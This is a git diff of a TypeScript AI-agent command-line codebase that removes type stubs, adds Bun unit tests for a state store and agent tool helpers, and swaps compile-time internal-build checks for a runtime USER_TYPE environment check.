@@ -1,3 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type gracefulShutdown = any;
|
||||
export type gracefulShutdownSync = any;
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type setAllHookEventsEnabled = any;
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type refreshModelCapabilities = any;
|
||||
@@ -1,3 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type peekForStdinData = any;
|
||||
export type writeToStderr = any;
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type checkForReleaseNotes = any;
|
||||
@@ -1,3 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type ProcessedResume = any;
|
||||
export type processResumedConversation = any;
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type parseSettingSourcesFlag = any;
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type initSinks = any;
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type plural = any;
|
||||
112
src/state/__tests__/store.test.ts
Normal file
112
src/state/__tests__/store.test.ts
Normal file
@@ -0,0 +1,112 @@
|
||||
import { describe, expect, test } from "bun:test";
|
||||
import { createStore } from "../store";
|
||||
|
||||
describe("createStore", () => {
|
||||
test("returns object with getState, setState, subscribe", () => {
|
||||
const store = createStore({ count: 0 });
|
||||
expect(typeof store.getState).toBe("function");
|
||||
expect(typeof store.setState).toBe("function");
|
||||
expect(typeof store.subscribe).toBe("function");
|
||||
});
|
||||
|
||||
test("getState returns initial state", () => {
|
||||
const store = createStore({ count: 0, name: "test" });
|
||||
expect(store.getState()).toEqual({ count: 0, name: "test" });
|
||||
});
|
||||
|
||||
test("setState updates state via updater function", () => {
|
||||
const store = createStore({ count: 0 });
|
||||
store.setState(prev => ({ count: prev.count + 1 }));
|
||||
expect(store.getState().count).toBe(1);
|
||||
});
|
||||
|
||||
test("setState does not notify when state unchanged (Object.is)", () => {
|
||||
const store = createStore({ count: 0 });
|
||||
let notified = false;
|
||||
store.subscribe(() => { notified = true; });
|
||||
store.setState(prev => prev);
|
||||
expect(notified).toBe(false);
|
||||
});
|
||||
|
||||
test("setState notifies subscribers on change", () => {
|
||||
const store = createStore({ count: 0 });
|
||||
let notified = false;
|
||||
store.subscribe(() => { notified = true; });
|
||||
store.setState(prev => ({ count: prev.count + 1 }));
|
||||
expect(notified).toBe(true);
|
||||
});
|
||||
|
||||
test("subscribe returns unsubscribe function", () => {
|
||||
const store = createStore({ count: 0 });
|
||||
const unsub = store.subscribe(() => {});
|
||||
expect(typeof unsub).toBe("function");
|
||||
});
|
||||
|
||||
test("unsubscribe stops notifications", () => {
|
||||
const store = createStore({ count: 0 });
|
||||
let count = 0;
|
||||
const unsub = store.subscribe(() => { count++; });
|
||||
store.setState(prev => ({ count: prev.count + 1 }));
|
||||
unsub();
|
||||
store.setState(prev => ({ count: prev.count + 1 }));
|
||||
expect(count).toBe(1);
|
||||
});
|
||||
|
||||
test("multiple subscribers all get notified", () => {
|
||||
const store = createStore({ count: 0 });
|
||||
let a = 0, b = 0;
|
||||
store.subscribe(() => { a++; });
|
||||
store.subscribe(() => { b++; });
|
||||
store.setState(prev => ({ count: prev.count + 1 }));
|
||||
expect(a).toBe(1);
|
||||
expect(b).toBe(1);
|
||||
});
|
||||
|
||||
test("onChange callback is called on state change", () => {
|
||||
let captured: any = null;
|
||||
const store = createStore({ count: 0 }, ({ newState, oldState }) => {
|
||||
captured = { newState, oldState };
|
||||
});
|
||||
store.setState(prev => ({ count: prev.count + 5 }));
|
||||
expect(captured).not.toBeNull();
|
||||
expect(captured.oldState.count).toBe(0);
|
||||
expect(captured.newState.count).toBe(5);
|
||||
});
|
||||
|
||||
test("onChange is not called when state unchanged", () => {
|
||||
let called = false;
|
||||
const store = createStore({ count: 0 }, () => { called = true; });
|
||||
store.setState(prev => prev);
|
||||
expect(called).toBe(false);
|
||||
});
|
||||
|
||||
test("works with complex state objects", () => {
|
||||
const store = createStore({ items: [] as number[], name: "test" });
|
||||
store.setState(prev => ({ ...prev, items: [1, 2, 3] }));
|
||||
expect(store.getState().items).toEqual([1, 2, 3]);
|
||||
expect(store.getState().name).toBe("test");
|
||||
});
|
||||
|
||||
test("works with primitive state", () => {
|
||||
const store = createStore(0);
|
||||
store.setState(() => 42);
|
||||
expect(store.getState()).toBe(42);
|
||||
});
|
||||
|
||||
test("updater receives previous state", () => {
|
||||
const store = createStore({ value: 10 });
|
||||
store.setState(prev => {
|
||||
expect(prev.value).toBe(10);
|
||||
return { value: prev.value * 2 };
|
||||
});
|
||||
expect(store.getState().value).toBe(20);
|
||||
});
|
||||
|
||||
test("sequential setState calls produce final state", () => {
|
||||
const store = createStore({ count: 0 });
|
||||
store.setState(prev => ({ count: prev.count + 1 }));
|
||||
store.setState(prev => ({ count: prev.count + 1 }));
|
||||
store.setState(prev => ({ count: prev.count + 1 }));
|
||||
expect(store.getState().count).toBe(3);
|
||||
});
|
||||
});
|
||||
@@ -96,7 +96,7 @@ const fullInputSchema = lazySchema(() => {
|
||||
mode: permissionModeSchema().optional().describe('Permission mode for spawned teammate (e.g., "plan" to require plan approval).')
|
||||
});
|
||||
return baseInputSchema().merge(multiAgentInputSchema).extend({
|
||||
isolation: (("external" as string) === 'ant' ? z.enum(['worktree', 'remote']) : z.enum(['worktree'])).optional().describe(("external" as string) === 'ant' ? 'Isolation mode. "worktree" creates a temporary git worktree so the agent works on an isolated copy of the repo. "remote" launches the agent in a remote CCR environment (always runs in background).' : 'Isolation mode. "worktree" creates a temporary git worktree so the agent works on an isolated copy of the repo.'),
|
||||
isolation: ((process.env.USER_TYPE) === 'ant' ? z.enum(['worktree', 'remote']) : z.enum(['worktree'])).optional().describe((process.env.USER_TYPE) === 'ant' ? 'Isolation mode. "worktree" creates a temporary git worktree so the agent works on an isolated copy of the repo. "remote" launches the agent in a remote CCR environment (always runs in background).' : 'Isolation mode. "worktree" creates a temporary git worktree so the agent works on an isolated copy of the repo.'),
|
||||
cwd: z.string().optional().describe('Absolute path to run the agent in. Overrides the working directory for all filesystem and shell operations within this agent. Mutually exclusive with isolation: "worktree".')
|
||||
});
|
||||
});
|
||||
@@ -432,7 +432,7 @@ export const AgentTool = buildTool({
|
||||
|
||||
// Remote isolation: delegate to CCR. Gated ant-only — the guard enables
|
||||
// dead code elimination of the entire block for external builds.
|
||||
if (("external" as string) === 'ant' && effectiveIsolation === 'remote') {
|
||||
if ((process.env.USER_TYPE) === 'ant' && effectiveIsolation === 'remote') {
|
||||
const eligibility = await checkRemoteAgentEligibility();
|
||||
if (!eligibility.eligible) {
|
||||
const reasons = (eligibility as { eligible: false; errors: Parameters<typeof formatPreconditionError>[0][] }).errors.map(formatPreconditionError).join('\n');
|
||||
@@ -522,7 +522,7 @@ export const AgentTool = buildTool({
|
||||
// Log agent memory loaded event for subagents
|
||||
if (selectedAgent.memory) {
|
||||
logEvent('tengu_agent_memory_loaded', {
|
||||
...(("external" as string) === 'ant' && {
|
||||
...((process.env.USER_TYPE) === 'ant' && {
|
||||
agent_type: selectedAgent.agentType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS
|
||||
}),
|
||||
scope: selectedAgent.memory as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
||||
@@ -1284,7 +1284,7 @@ export const AgentTool = buildTool({
|
||||
// Only route through auto mode classifier when in auto mode
|
||||
// In all other modes, auto-approve sub-agent generation
|
||||
// Note: "external" === 'ant' guard enables dead code elimination for external builds
|
||||
if (("external" as string) === 'ant' && appState.toolPermissionContext.mode === 'auto') {
|
||||
if ((process.env.USER_TYPE) === 'ant' && appState.toolPermissionContext.mode === 'auto') {
|
||||
return {
|
||||
behavior: 'passthrough',
|
||||
message: 'Agent tool requires permission to spawn sub-agents.'
|
||||
|
||||
@@ -99,7 +99,7 @@ type ProcessedMessage = {
|
||||
*/
|
||||
function processProgressMessages(messages: ProgressMessage<Progress>[], tools: Tools, isAgentRunning: boolean): ProcessedMessage[] {
|
||||
// Only process for ants
|
||||
if (("external" as string) !== 'ant') {
|
||||
if ((process.env.USER_TYPE) !== 'ant') {
|
||||
return messages.filter((m): m is ProgressMessage<AgentToolProgress> => hasProgressMessage(m.data) && m.data.message.type !== 'user').map(m => ({
|
||||
type: 'original',
|
||||
message: m
|
||||
@@ -385,7 +385,7 @@ export function renderToolResultMessage(data: Output, progressMessagesForMessage
|
||||
} as import('@anthropic-ai/sdk/resources/beta/messages/messages.mjs').BetaUsage
|
||||
});
|
||||
return <Box flexDirection="column">
|
||||
{("external" as string) === 'ant' && <MessageResponse>
|
||||
{(process.env.USER_TYPE) === 'ant' && <MessageResponse>
|
||||
<Text color="warning">
|
||||
[ANT-ONLY] API calls: {getDisplayPath(getDumpPromptsPath(agentId))}
|
||||
</Text>
|
||||
@@ -591,7 +591,7 @@ export function renderToolUseRejectedMessage(_input: {
|
||||
const firstData = progressMessagesForMessage[0]?.data;
|
||||
const agentId = firstData && hasProgressMessage(firstData) ? firstData.agentId : undefined;
|
||||
return <>
|
||||
{("external" as string) === 'ant' && agentId && <MessageResponse>
|
||||
{(process.env.USER_TYPE) === 'ant' && agentId && <MessageResponse>
|
||||
<Text color="warning">
|
||||
[ANT-ONLY] API calls: {getDisplayPath(getDumpPromptsPath(agentId))}
|
||||
</Text>
|
||||
|
||||
136
src/tools/AgentTool/__tests__/agentDisplay.test.ts
Normal file
136
src/tools/AgentTool/__tests__/agentDisplay.test.ts
Normal file
@@ -0,0 +1,136 @@
|
||||
import { mock, describe, expect, test } from "bun:test";
|
||||
|
||||
// Mock heavy deps
|
||||
mock.module("../../utils/model/agent.js", () => ({
|
||||
getDefaultSubagentModel: () => undefined,
|
||||
}));
|
||||
|
||||
mock.module("../../utils/settings/constants.js", () => ({
|
||||
getSourceDisplayName: (source: string) => source,
|
||||
}));
|
||||
|
||||
const {
|
||||
resolveAgentOverrides,
|
||||
compareAgentsByName,
|
||||
AGENT_SOURCE_GROUPS,
|
||||
} = await import("../agentDisplay");
|
||||
|
||||
function makeAgent(agentType: string, source: string): any {
|
||||
return { agentType, source, name: agentType };
|
||||
}
|
||||
|
||||
describe("resolveAgentOverrides", () => {
|
||||
test("marks no overrides when all agents active", () => {
|
||||
const agents = [makeAgent("builder", "userSettings")];
|
||||
const result = resolveAgentOverrides(agents, agents);
|
||||
expect(result).toHaveLength(1);
|
||||
expect(result[0].overriddenBy).toBeUndefined();
|
||||
});
|
||||
|
||||
test("marks inactive agent as overridden", () => {
|
||||
const allAgents = [
|
||||
makeAgent("builder", "projectSettings"),
|
||||
makeAgent("builder", "userSettings"),
|
||||
];
|
||||
const activeAgents = [makeAgent("builder", "userSettings")];
|
||||
const result = resolveAgentOverrides(allAgents, activeAgents);
|
||||
const projectAgent = result.find(
|
||||
(a: any) => a.source === "projectSettings",
|
||||
);
|
||||
expect(projectAgent?.overriddenBy).toBe("userSettings");
|
||||
});
|
||||
|
||||
test("overriddenBy shows the overriding agent source", () => {
|
||||
const allAgents = [makeAgent("tester", "localSettings")];
|
||||
const activeAgents = [makeAgent("tester", "policySettings")];
|
||||
const result = resolveAgentOverrides(allAgents, activeAgents);
|
||||
expect(result[0].overriddenBy).toBe("policySettings");
|
||||
});
|
||||
|
||||
test("deduplicates agents by (agentType, source)", () => {
|
||||
const agents = [
|
||||
makeAgent("builder", "userSettings"),
|
||||
makeAgent("builder", "userSettings"), // duplicate
|
||||
];
|
||||
const result = resolveAgentOverrides(agents, agents.slice(0, 1));
|
||||
expect(result).toHaveLength(1);
|
||||
});
|
||||
|
||||
test("preserves agent definition properties", () => {
|
||||
const agents = [{ agentType: "a", source: "userSettings", name: "Agent A" }];
|
||||
const result = resolveAgentOverrides(agents, agents);
|
||||
expect(result[0].name).toBe("Agent A");
|
||||
expect(result[0].agentType).toBe("a");
|
||||
});
|
||||
|
||||
test("handles empty arrays", () => {
|
||||
expect(resolveAgentOverrides([], [])).toEqual([]);
|
||||
});
|
||||
|
||||
test("handles agent from git worktree (duplicate detection)", () => {
|
||||
const agents = [
|
||||
makeAgent("builder", "projectSettings"),
|
||||
makeAgent("builder", "projectSettings"),
|
||||
makeAgent("builder", "localSettings"),
|
||||
];
|
||||
const result = resolveAgentOverrides(agents, agents.slice(0, 1));
|
||||
// Deduped: projectSettings appears once, localSettings once
|
||||
expect(result).toHaveLength(2);
|
||||
});
|
||||
});
|
||||
|
||||
describe("compareAgentsByName", () => {
|
||||
test("sorts alphabetically ascending", () => {
|
||||
const a = makeAgent("alpha", "userSettings");
|
||||
const b = makeAgent("beta", "userSettings");
|
||||
expect(compareAgentsByName(a, b)).toBeLessThan(0);
|
||||
});
|
||||
|
||||
test("returns negative when a.name < b.name", () => {
|
||||
const a = makeAgent("a", "s");
|
||||
const b = makeAgent("b", "s");
|
||||
expect(compareAgentsByName(a, b)).toBeLessThan(0);
|
||||
});
|
||||
|
||||
test("returns positive when a.name > b.name", () => {
|
||||
const a = makeAgent("z", "s");
|
||||
const b = makeAgent("a", "s");
|
||||
expect(compareAgentsByName(a, b)).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
test("returns 0 for same name", () => {
|
||||
const a = makeAgent("same", "s");
|
||||
const b = makeAgent("same", "s");
|
||||
expect(compareAgentsByName(a, b)).toBe(0);
|
||||
});
|
||||
|
||||
test("is case-insensitive (sensitivity: base)", () => {
|
||||
const a = makeAgent("Alpha", "s");
|
||||
const b = makeAgent("alpha", "s");
|
||||
expect(compareAgentsByName(a, b)).toBe(0);
|
||||
});
|
||||
});
|
||||
|
||||
describe("AGENT_SOURCE_GROUPS", () => {
|
||||
test("contains expected source groups in order", () => {
|
||||
expect(AGENT_SOURCE_GROUPS).toHaveLength(7);
|
||||
expect(AGENT_SOURCE_GROUPS[0]).toEqual({
|
||||
label: "User agents",
|
||||
source: "userSettings",
|
||||
});
|
||||
expect(AGENT_SOURCE_GROUPS[6]).toEqual({
|
||||
label: "Built-in agents",
|
||||
source: "built-in",
|
||||
});
|
||||
});
|
||||
|
||||
test("has unique labels", () => {
|
||||
const labels = AGENT_SOURCE_GROUPS.map((g) => g.label);
|
||||
expect(new Set(labels).size).toBe(labels.length);
|
||||
});
|
||||
|
||||
test("has unique sources", () => {
|
||||
const sources = AGENT_SOURCE_GROUPS.map((g) => g.source);
|
||||
expect(new Set(sources).size).toBe(sources.length);
|
||||
});
|
||||
});
|
||||
314
src/tools/AgentTool/__tests__/agentToolUtils.test.ts
Normal file
314
src/tools/AgentTool/__tests__/agentToolUtils.test.ts
Normal file
@@ -0,0 +1,314 @@
|
||||
import { mock, describe, expect, test } from "bun:test";
|
||||
|
||||
// ─── Comprehensive mocks for agentToolUtils.ts dependencies ───
|
||||
// These must cover ALL named exports used by the module's transitive imports.
|
||||
|
||||
const noop = () => {};
|
||||
const emptySet = () => new Set<string>();
|
||||
|
||||
// Utility: create a mock module factory that returns an object with arbitrary named exports
|
||||
function stubModule(exportNames: string[]) {
|
||||
const obj: Record<string, any> = {};
|
||||
for (const name of exportNames) {
|
||||
obj[name] = noop;
|
||||
}
|
||||
return () => obj;
|
||||
}
|
||||
|
||||
mock.module("bun:bundle", () => ({ feature: () => false }));
|
||||
|
||||
mock.module("zod/v4", () => ({
|
||||
z: {
|
||||
object: () => ({ extend: () => ({ parse: noop }) }),
|
||||
strictObject: () => ({ extend: noop }),
|
||||
string: () => ({ optional: () => ({ describe: noop }) }),
|
||||
number: () => ({ optional: noop }),
|
||||
boolean: () => ({ describe: noop }),
|
||||
enum: () => ({ optional: noop }),
|
||||
array: noop,
|
||||
union: noop,
|
||||
optional: noop,
|
||||
preprocess: noop,
|
||||
nullable: noop,
|
||||
record: noop,
|
||||
any: noop,
|
||||
unknown: noop,
|
||||
default: noop,
|
||||
},
|
||||
}));
|
||||
|
||||
mock.module("src/bootstrap/state.js", () => ({
|
||||
clearInvokedSkillsForAgent: noop,
|
||||
}));
|
||||
|
||||
mock.module("src/constants/tools.js", () => ({
|
||||
ALL_AGENT_DISALLOWED_TOOLS: new Set(),
|
||||
ASYNC_AGENT_ALLOWED_TOOLS: new Set(),
|
||||
CUSTOM_AGENT_DISALLOWED_TOOLS: new Set(),
|
||||
IN_PROCESS_TEAMMATE_ALLOWED_TOOLS: new Set(),
|
||||
}));
|
||||
|
||||
mock.module("src/services/AgentSummary/agentSummary.js", () => ({
|
||||
startAgentSummarization: noop,
|
||||
}));
|
||||
|
||||
mock.module("src/services/analytics/index.js", () => ({
|
||||
logEvent: noop,
|
||||
AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS: undefined,
|
||||
}));
|
||||
|
||||
mock.module("src/services/api/dumpPrompts.js", () => ({
|
||||
clearDumpState: noop,
|
||||
}));
|
||||
|
||||
mock.module("src/Tool.js", () => ({
|
||||
toolMatchesName: () => false,
|
||||
findToolByName: noop,
|
||||
toolMatchesName: () => false,
|
||||
}));
|
||||
|
||||
// messages.ts is complex - provide stubs for all named exports
|
||||
mock.module("src/utils/messages.ts", () => ({
|
||||
extractTextContent: (content: any[]) =>
|
||||
content?.filter?.((b: any) => b.type === "text")?.map?.((b: any) => b.text)?.join("") ?? "",
|
||||
getLastAssistantMessage: () => null,
|
||||
SYNTHETIC_MESSAGES: new Set(),
|
||||
INTERRUPT_MESSAGE: "",
|
||||
INTERRUPT_MESSAGE_FOR_TOOL_USE: "",
|
||||
CANCEL_MESSAGE: "",
|
||||
REJECT_MESSAGE: "",
|
||||
REJECT_MESSAGE_WITH_REASON_PREFIX: "",
|
||||
SUBAGENT_REJECT_MESSAGE: "",
|
||||
SUBAGENT_REJECT_MESSAGE_WITH_REASON_PREFIX: "",
|
||||
PLAN_REJECTION_PREFIX: "",
|
||||
DENIAL_WORKAROUND_GUIDANCE: "",
|
||||
NO_RESPONSE_REQUESTED: "",
|
||||
SYNTHETIC_TOOL_RESULT_PLACEHOLDER: "",
|
||||
SYNTHETIC_MODEL: "",
|
||||
AUTO_REJECT_MESSAGE: noop,
|
||||
DONT_ASK_REJECT_MESSAGE: noop,
|
||||
withMemoryCorrectionHint: (s: string) => s,
|
||||
deriveShortMessageId: () => "",
|
||||
isClassifierDenial: () => false,
|
||||
buildYoloRejectionMessage: () => "",
|
||||
buildClassifierUnavailableMessage: () => "",
|
||||
isEmptyMessageText: () => true,
|
||||
createAssistantMessage: noop,
|
||||
createAssistantAPIErrorMessage: noop,
|
||||
createUserMessage: noop,
|
||||
prepareUserContent: noop,
|
||||
createUserInterruptionMessage: noop,
|
||||
createSyntheticUserCaveatMessage: noop,
|
||||
formatCommandInputTags: noop,
|
||||
}));
|
||||
|
||||
mock.module("src/tasks/LocalAgentTask/LocalAgentTask.js", () => ({
|
||||
completeAgentTask: noop,
|
||||
createActivityDescriptionResolver: () => ({}),
|
||||
createProgressTracker: () => ({}),
|
||||
enqueueAgentNotification: noop,
|
||||
failAgentTask: noop,
|
||||
getProgressUpdate: () => ({ tokenCount: 0, toolUseCount: 0 }),
|
||||
getTokenCountFromTracker: () => 0,
|
||||
isLocalAgentTask: () => false,
|
||||
killAsyncAgent: noop,
|
||||
updateAgentProgress: noop,
|
||||
updateProgressFromMessage: noop,
|
||||
}));
|
||||
|
||||
mock.module("src/utils/agentSwarmsEnabled.js", () => ({
|
||||
isAgentSwarmsEnabled: () => false,
|
||||
}));
|
||||
|
||||
mock.module("src/utils/debug.js", () => ({
|
||||
logForDebugging: noop,
|
||||
}));
|
||||
|
||||
mock.module("src/utils/envUtils.js", () => ({
|
||||
isInProtectedNamespace: () => false,
|
||||
}));
|
||||
|
||||
mock.module("src/utils/errors.js", () => ({
|
||||
AbortError: class extends Error {},
|
||||
errorMessage: (e: any) => String(e),
|
||||
}));
|
||||
|
||||
mock.module("src/utils/forkedAgent.js", () => ({}));
|
||||
|
||||
mock.module("src/utils/lazySchema.js", () => ({
|
||||
lazySchema: (fn: () => any) => fn,
|
||||
}));
|
||||
|
||||
mock.module("src/utils/permissions/PermissionMode.js", () => ({}));
|
||||
|
||||
// Provide working permissionRuleValueFromString to avoid polluting other test files
|
||||
const LEGACY_ALIASES: Record<string, string> = {
|
||||
Task: "Agent",
|
||||
KillShell: "TaskStop",
|
||||
AgentOutputTool: "TaskOutput",
|
||||
BashOutputTool: "TaskOutput",
|
||||
};
|
||||
|
||||
function normalizeLegacyToolName(name: string): string {
|
||||
return LEGACY_ALIASES[name] ?? name;
|
||||
}
|
||||
|
||||
function escapeRuleContent(content: string): string {
|
||||
return content.replace(/\\/g, "\\\\").replace(/\(/g, "\\(").replace(/\)/g, "\\)");
|
||||
}
|
||||
|
||||
function unescapeRuleContent(content: string): string {
|
||||
return content.replace(/\\\(/g, "(").replace(/\\\)/g, ")").replace(/\\\\/g, "\\");
|
||||
}
|
||||
|
||||
mock.module("src/utils/permissions/permissionRuleParser.js", () => ({
|
||||
permissionRuleValueFromString: (ruleString: string) => {
|
||||
const openIdx = ruleString.indexOf("(");
|
||||
if (openIdx === -1) return { toolName: normalizeLegacyToolName(ruleString) };
|
||||
const closeIdx = ruleString.lastIndexOf(")");
|
||||
if (closeIdx === -1 || closeIdx <= openIdx) return { toolName: normalizeLegacyToolName(ruleString) };
|
||||
if (closeIdx !== ruleString.length - 1) return { toolName: normalizeLegacyToolName(ruleString) };
|
||||
const toolName = ruleString.substring(0, openIdx);
|
||||
const rawContent = ruleString.substring(openIdx + 1, closeIdx);
|
||||
if (!toolName) return { toolName: normalizeLegacyToolName(ruleString) };
|
||||
if (rawContent === "" || rawContent === "*") return { toolName: normalizeLegacyToolName(toolName) };
|
||||
return { toolName: normalizeLegacyToolName(toolName), ruleContent: unescapeRuleContent(rawContent) };
|
||||
},
|
||||
permissionRuleValueToString: (v: any) => {
|
||||
if (!v.ruleContent) return v.toolName;
|
||||
return `${v.toolName}(${escapeRuleContent(v.ruleContent)})`;
|
||||
},
|
||||
normalizeLegacyToolName,
|
||||
}));
|
||||
|
||||
mock.module("src/utils/permissions/yoloClassifier.js", () => ({
|
||||
buildTranscriptForClassifier: () => "",
|
||||
classifyYoloAction: () => null,
|
||||
}));
|
||||
|
||||
mock.module("src/utils/task/sdkProgress.js", () => ({
|
||||
emitTaskProgress: noop,
|
||||
}));
|
||||
|
||||
mock.module("src/utils/teammateContext.js", () => ({
|
||||
isInProcessTeammate: () => false,
|
||||
}));
|
||||
|
||||
mock.module("src/utils/tokens.js", () => ({
|
||||
getTokenCountFromUsage: () => 0,
|
||||
}));
|
||||
|
||||
mock.module("src/tools/ExitPlanModeTool/constants.js", () => ({
|
||||
EXIT_PLAN_MODE_V2_TOOL_NAME: "exit_plan_mode",
|
||||
}));
|
||||
|
||||
mock.module("src/tools/AgentTool/constants.js", () => ({
|
||||
AGENT_TOOL_NAME: "agent",
|
||||
LEGACY_AGENT_TOOL_NAME: "task",
|
||||
}));
|
||||
|
||||
mock.module("src/tools/AgentTool/loadAgentsDir.js", () => ({}));
|
||||
|
||||
mock.module("src/state/AppState.js", () => ({}));
|
||||
|
||||
mock.module("src/types/ids.js", () => ({
|
||||
asAgentId: (id: string) => id,
|
||||
}));
|
||||
|
||||
// Break circular dep
|
||||
mock.module("src/tools/AgentTool/AgentTool.tsx", () => ({
|
||||
AgentTool: {},
|
||||
inputSchema: {},
|
||||
outputSchema: {},
|
||||
default: {},
|
||||
}));
|
||||
|
||||
const {
|
||||
countToolUses,
|
||||
getLastToolUseName,
|
||||
} = await import("../agentToolUtils");
|
||||
|
||||
function makeAssistantMessage(content: any[]): any {
|
||||
return { type: "assistant", message: { content } };
|
||||
}
|
||||
|
||||
function makeUserMessage(text: string): any {
|
||||
return { type: "user", message: { content: text } };
|
||||
}
|
||||
|
||||
describe("countToolUses", () => {
|
||||
test("counts tool_use blocks in messages", () => {
|
||||
const messages = [
|
||||
makeAssistantMessage([
|
||||
{ type: "tool_use", name: "Read" },
|
||||
{ type: "text", text: "hello" },
|
||||
]),
|
||||
];
|
||||
expect(countToolUses(messages)).toBe(1);
|
||||
});
|
||||
|
||||
test("returns 0 for messages without tool_use", () => {
|
||||
const messages = [
|
||||
makeAssistantMessage([{ type: "text", text: "hello" }]),
|
||||
];
|
||||
expect(countToolUses(messages)).toBe(0);
|
||||
});
|
||||
|
||||
test("returns 0 for empty array", () => {
|
||||
expect(countToolUses([])).toBe(0);
|
||||
});
|
||||
|
||||
test("counts multiple tool_use blocks across messages", () => {
|
||||
const messages = [
|
||||
makeAssistantMessage([{ type: "tool_use", name: "Read" }]),
|
||||
makeUserMessage("ok"),
|
||||
makeAssistantMessage([{ type: "tool_use", name: "Write" }]),
|
||||
];
|
||||
expect(countToolUses(messages)).toBe(2);
|
||||
});
|
||||
|
||||
test("counts tool_use in single message with multiple blocks", () => {
|
||||
const messages = [
|
||||
makeAssistantMessage([
|
||||
{ type: "tool_use", name: "Read" },
|
||||
{ type: "tool_use", name: "Grep" },
|
||||
{ type: "tool_use", name: "Write" },
|
||||
]),
|
||||
];
|
||||
expect(countToolUses(messages)).toBe(3);
|
||||
});
|
||||
});
|
||||
|
||||
describe("getLastToolUseName", () => {
|
||||
test("returns last tool name from assistant message", () => {
|
||||
const msg = makeAssistantMessage([
|
||||
{ type: "tool_use", name: "Read" },
|
||||
{ type: "tool_use", name: "Write" },
|
||||
]);
|
||||
expect(getLastToolUseName(msg)).toBe("Write");
|
||||
});
|
||||
|
||||
test("returns undefined for message without tool_use", () => {
|
||||
const msg = makeAssistantMessage([{ type: "text", text: "hello" }]);
|
||||
expect(getLastToolUseName(msg)).toBeUndefined();
|
||||
});
|
||||
|
||||
test("returns the last tool when multiple tool_uses present", () => {
|
||||
const msg = makeAssistantMessage([
|
||||
{ type: "tool_use", name: "Read" },
|
||||
{ type: "tool_use", name: "Grep" },
|
||||
{ type: "tool_use", name: "Edit" },
|
||||
]);
|
||||
expect(getLastToolUseName(msg)).toBe("Edit");
|
||||
});
|
||||
|
||||
test("returns undefined for non-assistant message", () => {
|
||||
const msg = makeUserMessage("hello");
|
||||
expect(getLastToolUseName(msg)).toBeUndefined();
|
||||
});
|
||||
|
||||
test("handles message with null content", () => {
|
||||
const msg = { type: "assistant", message: { content: null } };
|
||||
expect(getLastToolUseName(msg)).toBeUndefined();
|
||||
});
|
||||
});
|
||||
@@ -88,6 +88,14 @@ describe("stripTrailingWhitespace", () => {
|
||||
test("handles no trailing whitespace", () => {
|
||||
expect(stripTrailingWhitespace("hello\nworld")).toBe("hello\nworld");
|
||||
});
|
||||
|
||||
test("handles CR-only line endings", () => {
|
||||
expect(stripTrailingWhitespace("hello \rworld ")).toBe("hello\rworld");
|
||||
});
|
||||
|
||||
test("handles content with no trailing newline", () => {
|
||||
expect(stripTrailingWhitespace("hello ")).toBe("hello");
|
||||
});
|
||||
});
|
||||
|
||||
// ─── findActualString ───────────────────────────────────────────────────
|
||||
@@ -129,6 +137,26 @@ describe("preserveQuoteStyle", () => {
|
||||
expect(result).toContain(LEFT_DOUBLE_CURLY_QUOTE);
|
||||
expect(result).toContain(RIGHT_DOUBLE_CURLY_QUOTE);
|
||||
});
|
||||
|
||||
test("converts straight single quotes to curly in replacement", () => {
|
||||
const oldString = "'hello'";
|
||||
const actualOldString = `${LEFT_SINGLE_CURLY_QUOTE}hello${RIGHT_SINGLE_CURLY_QUOTE}`;
|
||||
const newString = "'world'";
|
||||
const result = preserveQuoteStyle(oldString, actualOldString, newString);
|
||||
expect(result).toContain(LEFT_SINGLE_CURLY_QUOTE);
|
||||
expect(result).toContain(RIGHT_SINGLE_CURLY_QUOTE);
|
||||
});
|
||||
|
||||
test("treats apostrophe in contraction as right curly quote", () => {
|
||||
const oldString = "'it's a test'";
|
||||
const actualOldString = `${LEFT_SINGLE_CURLY_QUOTE}it${RIGHT_SINGLE_CURLY_QUOTE}s a test${RIGHT_SINGLE_CURLY_QUOTE}`;
|
||||
const newString = "'don't worry'";
|
||||
const result = preserveQuoteStyle(oldString, actualOldString, newString);
|
||||
// The leading ' at position 0 should be LEFT_SINGLE_CURLY_QUOTE
|
||||
expect(result[0]).toBe(LEFT_SINGLE_CURLY_QUOTE);
|
||||
// The apostrophe in "don't" (between n and t) should be RIGHT_SINGLE_CURLY_QUOTE
|
||||
expect(result).toContain(RIGHT_SINGLE_CURLY_QUOTE);
|
||||
});
|
||||
});
|
||||
|
||||
// ─── applyEditToFile ────────────────────────────────────────────────────
|
||||
@@ -161,4 +189,20 @@ describe("applyEditToFile", () => {
|
||||
test("handles empty original content with insertion", () => {
|
||||
expect(applyEditToFile("", "", "new content")).toBe("new content");
|
||||
});
|
||||
|
||||
test("handles multiline oldString and newString", () => {
|
||||
const content = "line1\nline2\nline3\n";
|
||||
const result = applyEditToFile(content, "line2\nline3", "replaced");
|
||||
expect(result).toBe("line1\nreplaced\n");
|
||||
});
|
||||
|
||||
test("handles multiline replacement across multiple lines", () => {
|
||||
const content = "header\nold line A\nold line B\nfooter\n";
|
||||
const result = applyEditToFile(
|
||||
content,
|
||||
"old line A\nold line B",
|
||||
"new line X\nnew line Y"
|
||||
);
|
||||
expect(result).toBe("header\nnew line X\nnew line Y\nfooter\n");
|
||||
});
|
||||
});
|
||||
|
||||
197
src/tools/LSPTool/__tests__/formatters.test.ts
Normal file
197
src/tools/LSPTool/__tests__/formatters.test.ts
Normal file
@@ -0,0 +1,197 @@
|
||||
import { mock, describe, expect, test } from "bun:test";
|
||||
|
||||
mock.module("src/utils/debug.js", () => ({
|
||||
